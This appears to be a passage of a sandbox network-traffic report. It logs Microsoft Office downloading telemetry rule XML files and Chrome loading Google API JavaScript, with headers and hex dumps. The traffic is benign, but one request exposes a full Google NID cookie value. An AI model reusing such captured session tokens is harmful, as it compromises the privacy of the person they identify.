_i:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefi

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:26 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075526Z-174f784596886s2bhC1EWR743w0000000v30000000009w3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:26 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075526Z-174f7845968g6hv8hC1EWR1v2n000000032g000000004w0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:26 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075526Z-174f78459685m244hC1EWRgp2c0000000uxg000000008x4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:26 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075526Z-174f7845968zgtf6hC1EWRqd8s0000000n6g000000000drb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:26 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075526Z-174f78459685m244hC1EWRgp2c0000000uvg00000000d5ur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49852	142.250.181.110	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:27 UTC	1025	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:27 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 74563 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 21 Nov 2024 00:55:19 GMT Expires: Fri, 21 Nov 2025 00:55:19 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:41:25 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 457208 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:55:27 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 61 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 73 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:aa(a)};throw Error("b`"+String(a));};ra=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};sa=typeof Object.assign=="function"?Object.
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4b 72 3d 5b 5d 3b 74 68 69 73 2e 58 55 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 4d 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 48 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4d 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Kr=[];this.XU=!1;var k=this.aF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.aF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Mda),reject:h(this.HJ)}};e.prototype.Mda=functi
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 79 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4b 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4b 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 4d 4f 28 74 68 69 73 2e 4b 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4b 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 68 2e 5a 78 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.y7=function(){if(this.Kr!=null){for(var h=0;h<this.Kr.length;++h)f.MO(this.Kr[h]);this.Kr=null}};var f=new b;e.prototype.tfa=function(h){var k=this.aF();h.Zx(k.resolve,k.reject)};e.prototype.ufa=function(h,k){var l=this.aF();try{h.call(k,l.resolve
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6d 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 42 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};ma("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ba(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 72 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 72 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!ra(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&ra(l,f)?l[f][this.Ga]:void
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 58 65 2e 50 6b 2e 6e 65 78 74 3d 6b 2e 58 65 2e 6e 65 78 74 2c 6b 2e 58 65 2e 6e 65 78 74 2e 50 6b 3d 0a 6b 2e 58 65 2e 50 6b 2c 6b 2e 58 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 50 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 58 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Xe.Pk.next=k.Xe.next,k.Xe.next.Pk=k.Xe.Pk,k.Xe.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Pk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Xe};c.prototype.get=function(
2024-11-26 07:55:27 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
